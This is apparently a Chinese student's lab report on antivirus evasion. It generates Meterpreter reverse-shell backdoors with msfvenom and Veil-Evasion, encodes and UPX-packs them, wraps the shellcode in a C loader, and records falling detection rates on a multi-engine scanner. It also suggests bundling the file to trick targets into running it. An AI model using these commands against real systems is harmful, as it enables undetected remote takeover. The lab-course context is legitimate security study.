实践内容

基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 杀毒软件主要靠特征码进行查杀,匹配到即为病毒。
  • 还有通过云查杀,查看云端库中该文件是否属于恶意代码。
  • 跟踪该程序运行起来是否存在恶意行为,来判断是否属于恶意代码。

(2)免杀是做什么?

  • 免杀就是让杀毒软件查杀不出来有问题的程序,大部分是用来做坏事的。

(3)免杀的基本方法有哪些?

  • 通过改变特征码来躲避杀毒软件的匹配。
  • 自己手动编写一个恶意代码,因为杀毒软件查的共性,而不是个性。
  • 改变行为,减少敏感行为的使用等。

实践总结与体会

  • 这次的实验让我们可以绕过恶意代码的最大天敌——杀毒软件,之前我们所编写的恶意代码就像一个通缉犯,被所有警察所知悉,而同感免杀之后的恶意代码就像是去了泰国变性韩国整容一般,可以瞒天过海,继续潇洒。

离实战还缺些什么技术或步骤?

  • 我们的靶机不会那么傻乎乎的去接收我们的文件,那么我们就可以利用捆绑等方式诱导用户去接收并运行我们的恶意代码。

实践过程

环境准备

  • win10的IP地址:172.30.6.204
  • kali的IP地址:172.30.1.193
  • 这里使用上次实验中用到的后门程序进行免杀实验
  • 上期实验博客
  • 本次实验需要用到Veil-Evasion,安装指令:sudo apt-get install veil-evasion
  • 没有安装成功的小伙伴,可以尝试 克隆安装,依次输入:
sudo apt-get -y install git //安装git
git clone https://github.com/Veil-Framework/Veil-Evasion.git //git命令行下载Veil Evasion
mv Veil-Evasion /opt //把它移动到opt目录下(可选)
cd /opt/Veil-Evasion/ //进入Veil Evasion所在目录 bash setup/setup.sh -s //启动setup脚本开始安装

msfvenom

  • kali端下使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f exe > 4327.exe命令生成后门程序(即上次实验所用到的后门程序)。

  • 上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

    • 小提示:这里文件名为20154327形式的无法上传,网站提示含有广告关键词。

  • 从图中可以看出有18/39的杀毒软件发现有病毒.

    *这里我们直接利用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.30.1.193 LPORT=4327 -f exe > 4327miansha.exe将文件编码10次

  • 再去检测一下:

  • 结果还是有18/39的杀毒软件发现有病毒,看来一味的利用编码次数来达到免杀还是不行的。

Veil-Evasion

  • 这里需要用到veil-evasion,没有的小伙伴可以参考环境准备里的步骤。
  • 在kali中输入指令veil-evasion打开软件,依次输入
use python/meterpreter/rev_tcp  //设置payload
set LHOST 172.30.1.193 //设置为kali的IP
set lport 4327 //设置端口为4327
generate //生成
4327yzh //程序名
1
  • 如图所示:

  • 然后在kali上的/var/lib/veil-evasion/output/compiled/文件夹里找到刚生成的,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

  • 从图中可以看出有9/39的杀毒软件发现有病毒,比刚刚18个报毒直接减少一半,可喜可贺,但还不够,下面我们继续。

使用C语言调用Shellcode

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f c ,这里使用kali的ip生成一个c语言格式的shellcode数组。

  • 利用自己的数组,再添加一个主函数。

  • 在win下使用vs编译该c语言,得到exe文件,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

  • 8/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。

  • 在kali下进入MSF打开监听进程,实现方法参考上期实验博客

  • 靶机上尝试运行,后门程序成功获取权限。

    • 靶机环境:win10家庭版,火绒20180405

加壳尝试

upx直接加壳

  • 利用upx对上节课生成的后门文件直接加壳。



  • 直接对msf生成的文件使用upx加壳,还是有14/39的杀毒软件发现有病毒,比刚刚18查出略有改善,下面试试利用Veil-Evasio+UPX加壳。

Veil-Evasio+UPX加壳

  • 将上面通过Veil-Evasio免杀过的文件加上upx壳尝试。

  • 4/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。

20154327 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. Intellij IDEA 代码提示忽略大小写

    1.0 File >>Settings 2.0 Editor >> General >> Code Completion 如下图 选择 None

  2. Android HttpClient自己主动登陆discuz论坛!

    你登陆论坛的时候,我们先看看浏览器干了什么事儿: 用Firefox打开HiPda 的登陆页面,输入用户名和password,点登陆. 以下是通过firebug插件获取的数据: 能够看到浏览器这个htt ...

  3. ADF中遍历VO中的行数据(Iterator)

    在ADF中VO实质上就是一个迭代器, 1.在Application Module的实现类中,直接借助VO实现类和Row的实现类 TestVOImpl organizationUser = (TestV ...

  4. 【xampp】windows下XAMPP集成环境中,MySQL数据库的使用

    在已经安装了XAMPP之后,会在你安装的目录下面出现”XAMPP“文件夹,这个文件夹就是整个XAMPP集成环境的目录. 我们先进入这个目录,然后会看到带有XAMPP标志的xampp-control.e ...

  5. 快速理解Event事件

    浏览器事件是所有web程序的核心.javascript与HTML之间的交互是通过事件实现的.通过这些事件我们定义将要发生的行为.事件是一种异步编程的实现方式,本质上是程序各个组成部分之间的通信. 1. ...

  6. [转]JOGL安装

    本章介绍了设置环境以使用JOGL使用不同的集成开发环境(IDE),在您的系统上. 安装JOGL 对于JOGL安装,需要有以下系统要求: 系统要求 第一个要求是要在机器上安装Java Developme ...

  7. 在servlet中使用Spring注入

    修改servlet 的 init 方法,添加以下代码: SpringBeanAutowiringSupport.processInjectionBasedOnServletContext(this, ...

  8. ARM v7-A 系列CPU的MMU隐射分析

    ARM v7-A 系列CPU的MMU隐射分析 摘要:ARM v7-A系列的CPU加入了很多扩展,如多核处理器扩展.大物理地址扩展.TrustZone扩展.虚拟化扩展.若支持大的物理地址,则必须支持多核 ...

  9. linux mysql命令行查看显示中文

    linux 命令行查看mysql的库字符集是utf8,查询某个表时,仍然是显示不了中文, 之后使用了命令 mysql>set  names utf8;就可以正常显示中文了. 如何才更好的使mys ...

  10. django, CentOS7+nginx(apache)+mod_wsgi+Python+Django

    Django是一个开放源代码的Web应用框架,由Python写成.采用了MVC的框架模式,即模型M,视图V和控制器C.它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS ...